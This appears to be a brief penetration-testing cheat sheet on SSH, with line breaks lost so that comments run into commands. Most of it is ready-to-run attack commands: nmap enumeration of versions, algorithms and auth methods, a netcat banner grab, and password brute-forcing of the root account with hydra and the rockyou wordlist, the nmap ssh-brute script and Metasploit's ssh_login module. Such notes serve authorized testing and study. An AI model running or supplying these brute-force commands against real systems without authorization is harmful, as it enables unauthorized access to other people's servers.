SSH
# Get versionsnmap $IP -p 22 -sV -O
# See welcome msgnc $IP 22
# Get algorithmsnmap $IP -p 22 --script ssh2-enum-algos
# Get public Keynmap $IP -p 22 --script ssh-hostkey --script-args ssh_hostkey=full
# Weak passwordsnmap $IP -p 22 --script ssh-auth-methods --script-args="ssh.user=root"Bruteforce with hydra
Section titled “Bruteforce with hydra”hydra -l root -P /usr/share/wordlists/rockyou.txt $IP sshCommon password with nmap
Section titled “Common password with nmap”nmap $IP --script ssh-brute --script-args userdb=/path/to/users -p 22Metasploit
Section titled “Metasploit”msfconsoleuse auxiliary/scanner/ssh/ssh_loginset rhosts $IPset userpass_file /usr/share/wordlists/metasploit/root_userpass.txtset STOP_ON_SUCCESS trueset verbose truerun